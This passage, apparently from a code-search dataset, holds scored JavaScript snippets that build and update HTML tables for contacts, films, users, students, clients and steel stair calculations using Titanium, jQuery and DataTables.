_header_view_button_width - 5,\n\t\t\t\t\t\t\t\t\theight : _header_view_button_height\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(edit_btn);\n\t\t\t\t\t\t\t\tvar title_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\ttop : 5,\n\t\t\t\t\t\t\t\t\tleft : 10 + _header_view_button_width,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : rows.fieldByName('first_name') + ' ' + rows.fieldByName('last_name'),\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.normal_font_size,\n\t\t\t\t\t\t\t\t\t\tfontWeight : self.font_weight\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(title_label);\n\t\t\t\t\t\t\t\tvar position_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\ttop : 25 + 5,\n\t\t\t\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : '[Primary Contact]',\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.small_font_size\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(position_label);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tedit_btn = Ti.UI.createButton({\n\t\t\t\t\t\t\t\t\tname : 'view_btn',\n\t\t\t\t\t\t\t\t\tbackgroundImage : self.get_file_path('image', 'BUTT_grn_off.png'),\n\t\t\t\t\t\t\t\t\tcolor : '#fff',\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : _header_view_font_size - 2,\n\t\t\t\t\t\t\t\t\t\tfontWeight : 'bold'\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\ttitle : 'View',\n\t\t\t\t\t\t\t\t\ttextAlign : 'center',\n\t\t\t\t\t\t\t\t\tstyle : Titanium.UI.iPhone.SystemButtonStyle.BORDERED,\n\t\t\t\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\t\t\t\twidth : _header_view_button_width - 5,\n\t\t\t\t\t\t\t\t\theight : _header_view_button_height\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(edit_btn);\n\t\t\t\t\t\t\t\ttitle_label = Ti.UI.createLabel({\n\t\t\t\t\t\t\t\t\tleft : 10 + _header_view_button_width,\n\t\t\t\t\t\t\t\t\twidth : self.screen_width - 100,\n\t\t\t\t\t\t\t\t\ttext : rows.fieldByName('first_name') + ' ' + rows.fieldByName('last_name'),\n\t\t\t\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : self.normal_font_size,\n\t\t\t\t\t\t\t\t\t\tfontWeight : self.font_weight\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t\trow.add(title_label);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tself.data[_section_no].add(row);\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\trows.next();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\trow = Ti.UI.createTableViewRow({\n\t\t\t\t\t\tfilter_class : 'site_contact',\n\t\t\t\t\t\tclassName : 'site_contact' + 100,\n\t\t\t\t\t\theight : 'auto',\n\t\t\t\t\t\thasChild : true,\n\t\t\t\t\t\twidth : 180,\n\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\ttitle : 'Site Contacts'\n\t\t\t\t\t});\n\t\t\t\t\tvar site_contact_label = Ti.UI.createLabel({\n\t\t\t\t\t\tright : 5,\n\t\t\t\t\t\tbackgroundColor : self.table_view_row_number_label_background_color,\n\t\t\t\t\t\tcolor : '#fff',\n\t\t\t\t\t\twidth : 30,\n\t\t\t\t\t\theight : 20,\n\t\t\t\t\t\ttextAlign : 'center',\n\t\t\t\t\t\ttext : site_contact_count,\n\t\t\t\t\t\tborderRadius : 8\n\t\t\t\t\t});\n\t\t\t\t\trow.add(site_contact_label);\n\t\t\t\t\tself.data[_section_no].add(row);\n\t\t\t\t}\n\t\t\t\trows.close();\n\t\t\t\t_section_no++;\n\t\t\t} catch (err) {\n\t\t\t\tself.process_simple_error_message(err, window_source + ' - _setup_row_for_site_contact_section');\n\t\t\t\treturn;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "6fa6d1d88faa4738b4c67d879616ec54", "score": "0.59979135", "text": "function peticionCompletada(data, status, jqXHR){\n //$(\"#contenido_de_ajax\").html(data[0].username);\n $(\"#contenido_de_ajax\").html(\"<p>hola soy juan</p>\");\n for(i in data){\n $(\"#contenido_de_ajax\").append(data[i].titulo +\"<br/>\");\n $(\"tbody\").append(\"<tr>\" \n +\"<td>\" +data[i].id +\"</td>\" \n +\"<td>\" +data[i].titulo +\"</td>\" \n +\"<td>\" +data[i].director +\"</td>\" \n +\"<td>\" +data[i].sinopsis +\"</td>\" \n +\"<td>\" +data[i].fecha +\"</td>\" \n +\"<td>\" +data[i].valoracion +\"</td>\" \n +\"<td class='borrar'>\" +\"<button>Borrar</button>\" +\"</td>\" \n +\"<td class='modificar'>\" +\"<button>Seleccionar</button>\" +\"</td>\" \n\n //Esto era el codigo para //url: \"https://jsonplaceholder.typicode.com/users\"\n //+\"<td>\" +data[i].address +\"</td>\"\n //address es un objeto json, hago stringify para poder inprimirlo en la columna address \n //+\"<td>\" +JSON.stringify(data[i].address) +\"</td>\" \n \n \n //Utilidades de JSON para estudiar\n //JSON.stringify(object)\n //Para pasar un string a un objeto json\n // JSON.parse(string)\n +\"</tr>)\");//Fin del append\n }\n //alert(\"Peticion completada con status: \" +status +\" : \" +data);\n console.log(\"Peticion completada con status: \" +status +\" : \" +data);\n\n //Ver texto de todas las celdas de una fila sin formato\n //verTextoDeUnaFila();\n //Resaltar fila cuando hago hover\n resaltarFilaEnTablaCuandoHover();\n //Activar click en celda borrar\n activarBorrado();\n //Activar click celda modificar\n activarModificar();\n}//Fin de peticion completada", "title": "" }, { "docid": "c3c4f593db199478f0baea88b37e2f20", "score": "0.598959", "text": "function fillTableUsu(json){\n\tif(json.usuarios !== null){\n\n \t$(\"#tabla_usuarios tbody\").html(\"\");\n \t//recorremos los registros para rellenar la tabla\n \t$.each(json.usuarios, function(i,s){\n var newRow = \"<tr id='tr-\"+s.Id_Usuario+\"'>\"\n +\"<td>\"+s.Id_Usuario+\"</td>\"\n +\"<td>\"+s.Usuario+\"</td>\"\n +\"<td>\"+s.Name+\"</td>\"\n +\"<td>\"+s.email+\"</td>\"\n +\"<td>\"+s.Rol+\"</td>\"\n +\"<td>\"+s.Departamento+\"</td>\"\n +\"<td>\"\n +\"<button type='button' class='btn btn-danger delete-usu' data-id='\"+s.Id_Usuario+\"' data-toggle='tooltip' data-placement='top' title='Eliminar Usuario'>\"\n +\"<i class='fa fa-trash-o'></i>\"\n +\"</button>\"\n +\"<button type='button' class='btn btn-warning edit-usu' style='margin-left: 4px;' data-id='\"+s.Id_Usuario+\"' data-toggle='tooltip' data-placement='top' title='Editar Usuario'>\"\n +\"<i class='fa fa-pencil-square-o'></i>\"\n +\"</button>\"\n +\"</td>\"\n +\"</tr>\";\n $(newRow).appendTo(\"#tabla_usuarios tbody\");\n });\n }\n}", "title": "" }, { "docid": "e75438bcc38d5572f79864bf0a9042e5", "score": "0.5982376", "text": "function addUserRecordToTable(data) {\n var allus = document.getElementById(\"allus\").getElementsByTagName(\"tbody\")[0];\n var newRecord =allus.insertRow(allus.length);\n\n var cell1 = newRecord.insertCell(0);\n cell1.innerHTML = data.UserID;\n var cell2 = newRecord.insertCell(1);\n cell2.innerHTML = data.UserName;\n var cell3 = newRecord.insertCell(2);\n cell3.innerHTML = data.Email;\n var cell4 = newRecord.insertCell(3);\n cell4.innerHTML = data.createdAt;\n var cell5 = newRecord.insertCell(4);\n cell5.innerHTML = data.updatedAt;\n var cell6 = newRecord.insertCell(5);\n cell6.innerHTML = '<a onclick=\"onUserEdit(this)\">Edit</a> <a onClick=\"onUserDelete(this)\">Delete</a>'; \n}", "title": "" }, { "docid": "3b1a7358f0da8e44ba252dd81e077b80", "score": "0.5978223", "text": "function updateData () {\n var student = getFormData($('.edit-form'));\n var rowData = table.row('.selected').data();\n console.log(rowData)\n $.ajax({\n url: studentUrl + \"/updateStudent/\" + rowData.id,\n type: 'POST',\n data: {'student' : student},\n success: function (res)\n { \n var res = JSON.parse(res);\n if(res.status) {\n table.row('.selected').remove().draw( false );\n $('#deleteRecord').attr('disabled', true);\n $('#editBtn').attr('disabled', true);\n $('#editDataModal').modal('toggle');\n } else {\n //if any DB error\n alert(res.message);\n }\n }\n }); \n }", "title": "" }, { "docid": "5f6f7f0696a1ea3277a4f4b8026fb316", "score": "0.5974422", "text": "function addClientsInTable(data) {\n clientsHolder = {};\n\n var dataTable2 = $('#dataTable2');\n\n dataTable2\n .DataTable({\n \"bProcessing\": true\n , \"bStateSave\": true\n , \"ordering\": false\n , \"lengthChange\": true\n , \"searching\": true\n , \"info\": true\n , \"aaData\": data\n , \"aoColumns\": [\n {\n \"mData\": \"client.name\"\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.phoneNumber\"\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.status\"\n , \"mRender\": function (status, type, full) {\n var statusText, spanClass, dateText, timeText, dateClass;\n //сюда надо вставить Case по значению status\n if (status == 0) {\n statusText = 'Новый клиент';\n spanClass = ' label label-info';\n }\n else if (status == 1) {\n statusText = 'Блок лист';\n spanClass = ' label label-danger';\n }\n else if (status == 2) {\n statusText = 'Перезвонить';\n spanClass = ' label label-warning';\n dateText = formatDate(full.callBackDate, 'dateTime');\n // timeText = formatDate(full.callBackDate, \"time\");\n dateClass = \"label label-warning\";\n }\n else if (status == 3) {\n statusText = 'Назначено';\n spanClass = ' label label-primary';\n dateText = formatDate(full.visitDate, 'dateTime');\n // timeText = formatDate(full.visitDate, \"time\");\n dateClass = \"label label-primary\";\n }\n else if (status == 4) {\n statusText = 'Обработан';\n spanClass = ' label label-success';\n }\n else if (status == 5) {\n statusText = '<i class=\"fa fa-star\"></i> Клиент компании';\n spanClass = ' label label-default';\n }\n else if (status == 6) {\n statusText = '<i class=\"fa fa-check\"></i> Посетивший клиент';\n spanClass = ' label label-success';\n }\n else if (status == null) {\n console.log(\"status null\");\n } else {\n console.log(\"there is not such a status\");\n }\n if (dateText == null) {\n return '<span class=' + \"'\" + spanClass + \"'\" + '>' + statusText + '</span>';\n }\n else {\n return '<span class=' + \"'\" + spanClass + \"'\" + '>' + statusText + '</span>' + '<span class=' + \"'\" + dateClass + \"'\" + '>' + dateText + '</span>';\n // '<span class=' + \"'\" + dateClass + \"'\" + '>' + timeText + '</span>';\n }\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.info\"\n }\n ,\n {\n \"className\": \"dt-center\"\n , \"mData\": \"processedDate\"\n , \"mRender\": function (processedDate) {\n if (processedDate == null) {\n return \"нет\";\n }\n else {\n return formatDate(processedDate, \"date\");\n }\n\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mRender\": function (data, type, full) {\n if (full.processedDate != null) {\n return '<i id=\"fa_ok\" class=\"fa fa-check text-success fa-2x\" aria-hidden=\"true\"></i>';\n }\n else {\n return '<i id=\"fa_ok\" class=\"fa fa-times text-danger fa-2x\" aria-hidden=\"true\"></i>';\n }\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.dealMade\"\n , \"mRender\": function (dealMade, type, full) {\n //если значение dealMade = Null пишем значение нет\n if (dealMade == null) {\n return \"нет\";\n }\n else {\n return formatDate(dealMade, \"date\");\n }\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mRender\": function (data, type, full) {\n var btnClass = 'btn btn-info-outline btn-details';\n var btnText = 'Детали';\n var iClass = 'fa fa-eye';\n var btnId = \"#call\" + full.id;\n\n clientsHolder[btnId] = full;\n return '<button class=' + \"'\" + btnClass + \"'\" + ' id=' + \"'\" + btnId + \"'\" + '><i class=' + \"'\" + iClass + \"'\" + '></i> ' + btnText + '</button>';\n }\n }]\n , \"language\": {\n \"processing\": \"Подождите...\"\n , \"search\": \"Поиск:\"\n , \"lengthMenu\": \"Показать _MENU_ записей\"\n , \"info\": \"Записи с _START_ до _END_ из _TOTAL_ записей\"\n , \"infoEmpty\": \"Записи с 0 до 0 из 0 записей\"\n , \"infoFiltered\": \"(отфильтровано из _MAX_ записей)\"\n , \"infoPostFix\": \"\"\n , \"loadingRecords\": \"Загрузка записей...\"\n , \"zeroRecords\": \"Записи отсутствуют.\"\n , \"emptyTable\": \"В таблице отсутствуют данные\"\n , \"paginate\": {\n \"first\": \"Первая\"\n , \"previous\": \"Предыдущая\"\n , \"next\": \"Следующая\"\n , \"last\": \"Последняя\"\n }\n , \"aria\": {\n \"sortAscending\": \": активировать для сортировки столбца по возрастанию\"\n , \"sortDescending\": \": активировать для сортировки столбца по убыванию\"\n }\n }\n });\n\n dataTable2\n .unbind('click')\n .on('click', \".btn-details\", function () { //зміна щоб на іншій сторінці кнопки були активні\n loadOneClient(localStorage.idOperator, clientsHolder[this.id].id);\n });\n } // creates columns of clients in userindex", "title": "" }, { "docid": "d66946fe92c498fd0e15a90bf55f68f0", "score": "0.59595704", "text": "function editRow() {\n $('#error_edit').html(\"\");\n if (validateEditItem() == true) {\n try {\n var xhr = new XMLHttpRequest();\n xhr.open(\"PUT\", \"http://localhost:8080/Server/ItemsController?session=\" + sessionStorage.getItem('session'), true);\n var data = [];\n for (var i = 0; i < dynamicData.length; i++) {\n data.push(new AddItem(dynamicData[i].column, $(\"#edit-\" + dynamicData[i].column).val()));\n }\n xhr.onreadystatechange = function () {\n if (xhr.readyState === 4 && xhr.status === 200) {\n var obj = JSON.parse(xhr.responseText);\n if (obj.result == true) {\n for (var i = 0; i < data.length; i++) {\n $('#tbody_list .targetRow:nth-child(' + tempIndex + ') td:nth-child(' + (i + 1) + ')').html('<span>' + data[i].value + \"</span>\");\n }\n }\n $('#error_edit').html(obj.errorMessage);\n } else if (xhr.status === 401) {\n alert('Unauthorized user!');\n } else if (xhr.status === 0) {\n $('#error_edit').html('Server is offline!');\n }\n }\n\n xhr.send(JSON.stringify(data));\n } catch (exception) {\n alert(\"Request failed\");\n }\n }\n}", "title": "" }, { "docid": "b489e8384174dd9f115582cbfc311e20", "score": "0.5958748", "text": "function bindTable()\n {\n \tvar RowNoForAddEdit;\n \t \t\n \tif(isEdit == true)\n \t{\n \t\tRowNoForAddEdit = editRowNo; \t\t\n \t}\n \telse\n \t{ \t\t\n \t\tRowNo = RowNo + 1; \t\t\n \t\tRowNoForAddEdit = RowNo;\n \t} \t\n \t\n \tvar Shape = $(\"#drpShape\").find(\"option:selected\").text(); \n \tvar PlateWidth = \"\", PlateWidth_feet = \"\",PlateWidth_inch = \"\", PlateWidth_fraction = \"\";\n \tvar Profile = \"\", ProfilePlateThickness = \"\";\n \t\n \tif($(\"#drpShape\").val() == \"PLATE\")\n \t{\n \t\tProfile = $(\"#drpPlateThickness\").find(\"option:selected\").text(); \t\t\n \t\tPlateWidth_feet = $(\"#txtPlateWidthInFeet\").val(); \n \t\tPlateWidth_inch = $(\"#drpPlateWidthInInch\").find(\"option:selected\").text(); \t\n \t\tPlateWidth_fraction = $(\"#drpPlateWidthInFraction\").find(\"option:selected\").text();\n \t\t\n \t\tPlateWidth = feetInchFormater(PlateWidth_feet , PlateWidth_inch ,PlateWidth_fraction);\n \t\t\n \t\tProfile = Profile + \"X\" + PlateWidth;\n \t\t\n \t}\n \telse \n \t{ \t\n \t\tProfile = $(\"#drpProfile\").find(\"option:selected\").text();\n \t}\n \tvar MaterialGrade = $(\"#drpMaterialGrade\").find(\"option:selected\").text(); \t\n \t\n \tvar Quantity = $(\"#txtQuantity\").val(); \t\n \tvar NoOfFlights = $(\"#drpNoOfFlights\").find(\"option:selected\").text(); \n \t\n \tvar StairWidth_Feet = $(\"#txtStairWidthInFeet\").val(); \t\n \tvar StairWidth_Inch = $(\"#drpStairWidthInInch\").find(\"option:selected\").text(); \t\n \tvar StairWidth_Fraction = $(\"#drpStairWidthInFraction\").find(\"option:selected\").text();\n \t\n \tvar StairWidth = feetInchFormater(StairWidth_Feet,StairWidth_Inch , StairWidth_Fraction);\n \t\n \tvar StairLenght_Feet = $(\"#txtStairLengthInFeet\").val(); \t\n \tvar StairLenght_Inch = $(\"#drpStairLengthInInch\").find(\"option:selected\").text(); \t\n \tvar StairLenght_Fraction = $(\"#drpStairLengthInFraction\").find(\"option:selected\").text();\n \t\n \tvar StairLenght = feetInchFormater(StairLenght_Feet , StairLenght_Inch ,StairLenght_Fraction); \t\n \t\n \tvar MidLanding = $(\"#drpMidLanding\").find(\"option:selected\").text();\n \tvar TreadType = $(\"#drpTreadType\").find(\"option:selected\").text(); \n \tvar TreadDesignation = $(\"#txtTreadDesignation\").val();\n \t\n \tvar TreadQuantity = $(\"#txtTreadQuantity\").val();\n \t\n \tvar TreadWidth_Feet = $(\"#txtTreadWidthInFeet\").val();\n \tvar TreadWidth_Inch = $(\"#drpTreadWidthInInch\").find(\"option:selected\").text();\n \tvar TreadWidth_Fraction = $(\"#drpTreadWidthInFraction\").find(\"option:selected\").text();\n \t\n \tvar TreadWidth = feetInchFormater(TreadWidth_Feet,TreadWidth_Inch,TreadWidth_Fraction);\n \t\n \tvar ConnectionMethod = $(\"#drpConnectiontype\").find(\"option:selected\").text();\n \tvar ConnectingMemberProfile = \"\", NoOfBoltColumns = \"\";\n \t\n \tvar NoOfBolts = $(\"#drpNoOfBoltRows\").find(\"option:selected\").text();\n \t\n \tif(ConnectionMethod == \"Shear Plate\")\n \t{\n \t\tConnectingMember = $(\"#drpConnectedPlateThickness\").find(\"option:selected\").text();\n \t\tNoOfBoltColumns = $(\"#drpNoOfBoltColumn\").find(\"option:selected\").text();\n \t\t\n \t\tProfilePlateThickness = $(\"#drpConnectedPlateThickness\").find(\"option:selected\").text();\n \t\t\n \t\tvar Platewidth = 0, PlateLenght = 0;\n \t\t\n\t \tif(parseInt(NoOfBoltColumns) == 1)\n\t \t{\n\t \t\tPlatewidth = '3\"1/2';\n\t \t}\n\t \telse\n\t \t{\n\t \t\tvar MinimumWidth = 0;\n\t \t\tPlatewidth = (parseInt(NoOfBoltColumns) -1) * 3;\t \t\t\n\t \t\tPlatewidth = Platewidth + 3.5;\n\t \t\t\n\t \t\tPlateLenght = (parseInt(NoOfBolts) -1) * 3;\t \t\t\n\t\t \tPlateLenght = PlateLenght + 3;\n\t\t \t\n\t\t \tMinimumWidth = Platewidth > PlateLenght ? PlateLenght : Platewidth;\t\t \n\t\t \tPlatewidth = convMMtoFt(MinimumWidth * 25.4);\n\t\t \t\n\t \t}\t\n\t \t\n\t \tConnectingMemberProfile = \"PL\"+ ConnectingMember + \"X\" + Platewidth;\n\t \t\t \t\n \t}\n \telse\n \t{ \t\n \t\tConnectingMemberProfile = $(\"#drpClipAngleProfile\").find(\"option:selected\").text();\n \t}\n \tvar BoltGrade = $(\"#drpBoltGrade\").find(\"option:selected\").text();\n \t\n \tvar BoltDia = $(\"#drpBoltDia\").find(\"option:selected\").text() + '\"';\n \t\n \t\n \tvar WeldType = $(\"#drpWeldType\").find(\"option:selected\").text();\n \tvar WeldSize = $(\"#drpWeldSize\").val() ==\"\" ? \"\" : $(\"#drpWeldSize\").find(\"option:selected\").text() + '\"';\n \t\n \tvar RefernceDrawing = $(\"#drpReferenceDrawing\").val();\n \t\n \t//--------------------------------- Caluclation ----------------------------------\n \tvar MemberWeight_Lbs = \"\",MemberWeight_Tons = \"\";\n \t\n \tif($(\"#drpShape\").val() == \"PLATE\")\n \t{\n \t\t//((plate thickness (modal)* Plate width(modal)*Stair length(modal)*0.284*2)*(No of flights(modal)*Quantity(modal)).\n \t\n \t\tvar PlateThickness = $(\"#drpPlateThickness\").val();\n \t\t\n \t\tvar PlateWidthFeetVal = parseInt($(\"#txtPlateWidthInFeet\").val()) * 12;\n\t \tvar PlateWidthInchVal = $(\"#drpPlateWidthInInch\").val();\n\t \tvar PlateWidthFractionVal = $(\"#drpPlateWidthInFraction\").val();\n\t \t\n\t \tvar Total_PlateWidth = parseFloat(PlateWidthFeetVal) + parseFloat(PlateWidthInchVal) + parseFloat(PlateWidthFractionVal);\n\t \t\n\t \tvar StairLengthFeetVal = StairLenght_Feet * 12;\n\t \tvar StairLengthInchVal = $(\"#drpStairWidthInInch\").val();\n\t \tvar StairLengthFractionVal = $(\"#drpStairWidthInFraction\").val();\n\t \t\n\t \tvar Total_StairLength = parseFloat(StairLengthFeetVal) + parseFloat(StairLengthInchVal) + parseFloat(StairLengthFractionVal);\n\t \t\n\t \tMemberWeight_Lbs = (parseFloat(PlateThickness) * Total_PlateWidth * Total_StairLength * 0.284 * 2 )* parseInt(NoOfFlights) * parseInt(Quantity);\n\t \t\n\t \tMemberWeight_Tons = MemberWeight_Lbs/2000;\n \t}\n \telse\n \t{\n\t \tvar ProfileWeight = $(\"#drpProfile\").val().split(\",\");\n\t \t\n\t \tvar StairLengthFeetVal = StairLenght_Feet * 12;\n\t \tvar StairLengthInchVal = $(\"#drpStairWidthInInch\").val();\n\t \tvar StairLengthFractionVal = $(\"#drpStairWidthInFraction\").val();\n\t \t\n\t \tvar Total_StairLength = parseFloat(StairLengthFeetVal) + parseFloat(StairLengthInchVal) + parseFloat(StairLengthFractionVal);\n\t \t\n\t \tMemberWeight_Lbs = (((parseFloat(ProfileWeight[0]) * parseFloat(Total_StairLength))/12)*2)*parseInt(NoOfFlights) * parseInt(Quantity);\n\t \t\n\t \tMemberWeight_Tons = MemberWeight_Lbs/2000;\n \t}\n \t\n \t//--------------------------------- End Caluclation ----------------------------------\n \t\n \t\n \tif(isEdit == true)\n \t{\n \t\t$('#tableStairs').dataTable().fnUpdate(\n \t\t\t['<label class=\"custom-control custom-checkbox\" >'+\n \t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n \t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n \t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>',\n \t\t\t RowNoForAddEdit, Shape,\n \t\t\t Profile, MaterialGrade,NoOfFlights,Quantity,\n \t\t\t PlateWidth,StairWidth, StairLenght, \n \t\t\t MemberWeight_Lbs.toFixed(3), MemberWeight_Tons.toFixed(3), \t\t\t \t\t\t \n \t\t\t MidLanding,TreadType,TreadDesignation, TreadQuantity, \t\t\t \n \t\t\t TreadWidth, ConnectionMethod,\n \t\t\t ConnectingMemberProfile,BoltGrade,BoltDia,NoOfBolts,NoOfBoltColumns,\n \t\t\t WeldType,WeldSize, RefernceDrawing,\n \t\t\t StairWidth_Feet, StairWidth_Inch, StairWidth_Fraction, \t\t\t \n \t\t\t StairLenght_Feet,StairLenght_Inch,StairLenght_Fraction,\n \t\t\t TreadWidth_Feet,TreadWidth_Inch,TreadWidth_Fraction,\n \t\t\t PlateWidth_feet,PlateWidth_inch,PlateWidth_fraction,\n \t\t\t ProfilePlateThickness], document.getElementById(\"row\" + editRowNo));\n \t\n \t}\n \telse\n \t{\n \t\n \tvar DataRow = '<tr id=\"row' + RowNoForAddEdit +'\"><td class=\"text-center\">'+\n\t\t\t\t\t\t\t\t'<label class=\"custom-control custom-checkbox\" >'+\n\t\t\t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>'+\n\t\t\t\t\t\t\t '</td>' +\n\t\t\t\t\t '<td>'+ RowNoForAddEdit + '</td>' +\n\t\t\t\t\t '<td>'+ Shape + '</td>' +\n\t\t\t\t\t '<td>'+ Profile + '</td>'+\n\t\t\t\t\t '<td>'+ MaterialGrade + '</td>'+\n\t\t\t\t\t '<td>'+ NoOfFlights + '</td>'+\n\t\t\t\t\t '<td>'+ Quantity + '</td>'+\t\t\t\t\t \t\t\t\t\t \n\t\t\t\t\t '<td style=\"display:none;\">'+ PlateWidth + '</td>'+\t\n\t\t\t\t\t '<td>'+ StairWidth + '</td>'+\t\n\t\t\t\t\t '<td>'+ StairLenght + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ MemberWeight_Lbs.toFixed(3) +'</td>' + \n\t\t\t\t\t\t\t '<td>'+ MemberWeight_Tons.toFixed(3) +'</td>'+\t\t\t\t\t\t\t \n\t\t\t\t\t '<td>'+ MidLanding + '</td>'+\t\t\t\t\t\t \n\t\t\t\t\t '<td>'+ TreadType + '</td>'+\n\t\t\t\t\t '<td>'+ TreadDesignation + '</td>'+\n\t\t\t\t\t '<td>'+ TreadQuantity + '</td>'+\n\t\t\t\t\t '<td>'+ TreadWidth + '</td>'+\t\t\t\t\t \n\t\t\t\t\t '<td>'+ ConnectionMethod + '</td>'+\n\t\t\t\t\t '<td>'+ ConnectingMemberProfile + '</td>'+\n\t\t\t\t\t '<td>'+ BoltGrade + '</td>' +\t\t\t\t\t\t \n\t\t\t\t\t '<td>'+ BoltDia + '</td>' +\t\n\t\t\t\t\t '<td>'+ NoOfBolts + '</td>' +\t\n\t\t\t\t\t '<td>'+ NoOfBoltColumns + '</td>' +\t\n\t\t\t\t\t '<td>'+ WeldType + '</td>' +\t\n\t\t\t\t\t '<td>'+ WeldSize + '</td>' +\t\t\t\t\t\t \t \n\t\t\t\t\t\t\t '<td>'+ RefernceDrawing + '</td>' + \t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairWidth_Feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairWidth_Inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairWidth_Fraction + '</td>' + \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairLenght_Feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairLenght_Inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ StairLenght_Fraction + '</td>' + \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ TreadWidth_Feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ TreadWidth_Inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ TreadWidth_Fraction + '</td>' + \t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PlateWidth_feet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PlateWidth_inch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ PlateWidth_fraction + '</td>' + \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ ProfilePlateThickness + '</td>' + \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t '</tr>' ;\n \t\n \t\tstairtable.row.add($(DataRow)).draw(false); \n \t}\n \t\n \tconstructJsonArrayFromTable();\n \t\n \tisEdit = false;\n \t$('.addTR').text('Add');\n \t\n }", "title": "" }, { "docid": "0e41e8e0cb96e92478b20348b2e159e6", "score": "0.59569705", "text": "onModelEvent(event, data) {\n // Even ADD, DELETE, UPDATE sent by BookRegistry not used\n // Table in book.html\n var table = $('#book').DataTable();\n table.rows().remove(); // Remove everything\n table.rows.add(data).draw(); // Add everything\n\n }", "title": "" }, { "docid": "7e5b554933f33834465bb6bd242f6854", "score": "0.59566355", "text": "function updateTableModificationForm(tableJson) {\n $(\"#rows-excluded\").val(\"\");\n $(\"#header-rows\").val(\"\");\n $(\"#header-columns\").val(\"\");\n $(\"#rows-excluded\").val(asCommaSeparatedStr(tableJson.modifications.rowsExcluded));\n $(\"#header-rows\").val(asCommaSeparatedStr(tableJson.modifications.headerRows));\n $(\"#header-columns\").val(asCommaSeparatedStr(tableJson.modifications.headerColumns));\n }", "title": "" }, { "docid": "3ffd8105d9b8871c8abcb7c36777a3a8", "score": "0.5951535", "text": "function UsrUpdateGridByJson(obj) {\n var data = [];\n var indent = 0;\n var parents = [];\n var field_parent = [];\n var uid = [];\n var pwd = [];\n var email = [];\n var level = [];\n var pkey = [];\n \n for (var i = 0; i < obj.parents.length; i++) {\n parents.push(obj.parents[i]);\n }\n\n for (var i = 0; i < obj.parent.length; i++) {\n field_parent.push(obj.parent[i]);\n uid.push(obj.uid[i]);\n pwd.push(obj.pwd[i]);\n email.push(obj.email[i]);\n level.push(obj.level[i]);\n pkey.push(obj.pkey[i]);\n }\n\n for (var i = 0; i < uid.length; i++) {\n var d = (data[i] = {});\n var parent = null;\n \n if (field_parent[i] >= 0) {\n indent = 1;\n parent = field_parent[i];\n } else {\n parent = null;\n indent = 0;\n }\n d[\"id\"] = \"id_\" + i;\n d[\"pkey\"] = pkey[i];\n d[\"indent\"] = indent;\n d[\"parent\"] = parent;\n d[\"uid\"] = uid[i];\n 